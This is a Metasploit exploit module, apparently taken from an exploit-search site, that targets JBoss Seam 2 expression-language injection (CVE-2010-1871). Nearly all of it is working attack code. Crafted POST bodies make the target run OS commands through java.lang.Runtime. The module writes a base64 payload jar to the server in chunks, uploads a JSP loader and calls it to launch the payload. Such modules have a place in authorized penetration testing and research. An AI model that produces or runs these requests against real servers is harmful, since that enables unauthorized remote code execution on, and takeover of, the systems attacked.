## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-JBOSS_SEAM_UPLOAD_EXEC-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'JBoss Seam 2 File Upload and Execute',
'Description' => %q{
Versions of the JBoss Seam 2 framework < 2.2.1CR2 fails to properly
sanitize inputs to some JBoss Expression Language expressions. As a
result, attackers can gain remote code execution through the
application server. This module leverages RCE to upload and execute
a given payload.
Versions of the JBoss application server (AS) admin-console are
known to be vulnerable to this exploit, without requiring authentication.
Tested against JBoss AS 5 and 6, running on Linux with JDKs 6 and 7.
This module provides a more efficient method of exploitation - it
does not loop to find desired Java classes and methods.
},
'Author' => [ 'vulp1n3 <vulp1n3[at]gmail.com>' ],
'References' => [
# JBoss EAP 4.3.0 does not properly sanitize JBoss EL inputs
['CVE', '2010-1871'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=615956'],
['URL', 'http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html'],
['URL', 'http://archives.neohapsis.com/archives/bugtraq/2013-05/0117.html']
],
'DisclosureDate' => '2010-08-05',
'License' => MSF_LICENSE,
'Targets' => [
[
'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
Opt::RPORT(8080),
OptString.new('AGENT', [ true, 'User-Agent to send with requests', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)']),
OptString.new('CTYPE', [ true, 'Content-Type to send with requests', 'application/x-www-form-urlencoded']),
OptString.new('TARGETURI', [ true, 'URI that is built on JBoss Seam 2', '/admin-console/login.seam']),
OptInt.new('TIMEOUT', [ true, 'Timeout for web requests', 10]),
OptString.new('FNAME', [ false, 'Name of file to create - NO EXTENSION! (default: random)', nil]),
OptInt.new('CHUNKSIZE', [ false, 'Size in bytes of chunk per request', 1024]),
]
)
end
def check
vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Checking for vulnerable JBoss Seam 2")
uri = target_uri.path
res = send_request_cgi(
{
'uri' => normalize_uri(uri),
'method' => 'POST',
'ctype' => datastore['CTYPE'],
'agent' => datastore['AGENT'],
'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}"
}, datastore['TIMEOUT']
)
if (res and res.code == 302 and res.headers['Location'])
vprint_status('Server sent a 302 with location')
if (res.headers['Location'] =~ /public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime%28%29/)
report_vuln({
host: rhost,
port: rport,
name: "#{name} - #{uri}",
refs: references,
info: "Module #{fullname} found vulnerable JBoss Seam 2 resource."
})
return Exploit::CheckCode::Vulnerable('Successfully verified remote code execution')
else
return Exploit::CheckCode::Safe('The target is not vulnerable')
end
else
return Exploit::CheckCode::Unknown('Received an unexpected response from the target')
end
end
def execute_cmd(cmd)
cmd_to_run = Rex::Text.uri_encode(cmd)
vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Sending command: #{cmd_to_run}")
uri = target_uri.path
res = send_request_cgi(
{
'uri' => normalize_uri(uri),
'method' => 'POST',
'ctype' => datastore['CTYPE'],
'agent' => datastore['AGENT'],
'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('#{cmd_to_run}')}"
}, datastore['TIMEOUT']
)
if (res and res.code == 302 and res.headers['Location'])
if (res.headers['Location'] =~ /user=java.lang.UNIXProcess/)
vprint_good("#{Rex::Socket.to_authority(rhost, rport)} Exploit successful")
else
vprint_error("#{Rex::Socket.to_authority(rhost, rport)} Exploit failed")
end
else
vprint_error("#{Rex::Socket.to_authority(rhost, rport)} Exploit failed")
end
end
def call_jsp(jspname)
# TODO: ugly way to strip off last resource on a path
uri = target_uri.path
*keep, _ = uri.split(%r{/})
keep.push(jspname)
uri = keep.join('/')
uri = '/' + uri if (uri[0] != '/')
res = send_request_cgi(
{
'uri' => normalize_uri(uri),
'method' => 'POST',
'ctype' => datastore['CTYPE'],
'agent' => datastore['AGENT'],
'data' => 'sessionid=' + Rex::Text.rand_text_alpha(32)
}, datastore['TIMEOUT']
)
if (res and res.code == 200)
vprint_good('Successful request to JSP')
else
vprint_error('Failed to request JSP')
end
end
def upload_jsp(filename, jarname)
jsp_text = <<~EOJSP
<%@ page import="java.io.*"
%><%@ page import="java.net.*"
%><%
URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("/#{jarname}")).toURI().toURL()});
Class c = cl.loadClass("metasploit.Payload");
c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});
%>
EOJSP
vprint_status('Uploading JSP to launch payload')
status = upload_file_chunk(filename, 'false', jsp_text)
if status
vprint_status("JSP uploaded to to #{filename}")
else
vprint_error('Failed to upload file.')
end
@pl_sent = true
end
def upload_file_chunk(filename, append = 'false', chunk)
# create URL-safe Base64-encoded version of chunk
b64 = Rex::Text.encode_base64(chunk)
b64 = b64.gsub('+', '%2b')
b64 = b64.gsub('/', '%2f')
uri = target_uri.path
res = send_request_cgi(
{
'uri' => normalize_uri(uri),
'method' => 'POST',
'ctype' => datastore['CTYPE'],
'agent' => datastore['AGENT'],
'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.io.FileOutputStream').getConstructor('java.lang.String',expressions.getClass().forName('java.lang.Boolean').getField('TYPE').get(null)).newInstance(request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/'),#{append}).write(expressions.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer(request.getParameter('c'))).close()}&c=" + b64
}, datastore['TIMEOUT']
)
if (res and res.code == 302 and res.headers['Location'])
# TODO: Including the conversationId part in this regex might cause
# failure on other Seam applications. Needs more testing
if (res.headers['Location'] =~ /user=&conversationId/)
# vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Exploit successful.")
return true
else
# vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Exploit failed")
return false
end
else
# vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Exploit failed")
return false
end
end
def get_full_path(filename)
uri = target_uri.path
res = send_request_cgi(
{
'uri' => normalize_uri(uri),
'method' => 'POST',
'ctype' => datastore['CTYPE'],
'agent' => datastore['AGENT'],
'data' => "actionOutcome=/success.xhtml?user%3d%23{request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/')}"
}, datastore['TIMEOUT']
)
if (res and res.code == 302 and res.headers['Location'])
# the user argument should be set to the result of our call - which
# will be the full path of our file
matches = /.*user=(.+)&.*/.match(res.headers['Location'])
if (matches and matches.captures)
return Rex::Text.uri_decode(matches.captures[0])
else
return nil
end
else
return nil
end
end
def java_stager(fname, chunk_size)
@payload_exe = fname + '.jar'
jsp_name = fname + '.jsp'
# data = payload.encoded_jar.pack
data = payload.encoded_jar.pack
append = 'false'
while (data.length > chunk_size)
status = upload_file_chunk(@payload_exe, append, data[0, chunk_size])
if status
vprint_status('Uploaded chunk')
else
vprint_error('Failed to upload chunk')
break
end
data = data[chunk_size, data.length - chunk_size]
# first chunk is an overwrite, afterwards, we need to append
append = 'true'
end
status = upload_file_chunk(@payload_exe, 'true', data)
if status
vprint_status('Payload uploaded to ' + @payload_exe)
else
vprint_error('Failed to upload file.')
end
# write a JSP that can call the payload in the jar
upload_jsp(jsp_name, @payload_exe)
pe_path = get_full_path(@payload_exe) || @payload_exe
jsp_path = get_full_path(jsp_name) || jsp_name
# try to clean up our stuff;
register_files_for_cleanup(pe_path, jsp_path)
# call the JSP to launch the payload
call_jsp(jsp_name)
end
def exploit
@pl_sent = false
if check == Exploit::CheckCode::Vulnerable
fname = datastore['FNAME'] || Rex::Text.rand_text_alpha(rand(8..15))
vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Host is vulnerable")
vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Uploading file...")
# chunking code based on struts_code_exec_exception_delegator
chunk_size = datastore['CHUNKSIZE']
# sanity check
if (chunk_size <= 0)
vprint_error("Invalid chunk size #{chunk_size}")
return
end
vprint_status("Sending in chunks of #{chunk_size}")
case target['Platform']
when 'java'
java_stager(fname, chunk_size)
else
fail_with(Failure::NoTarget, 'Unsupported target platform!')
end
handler
end
end
end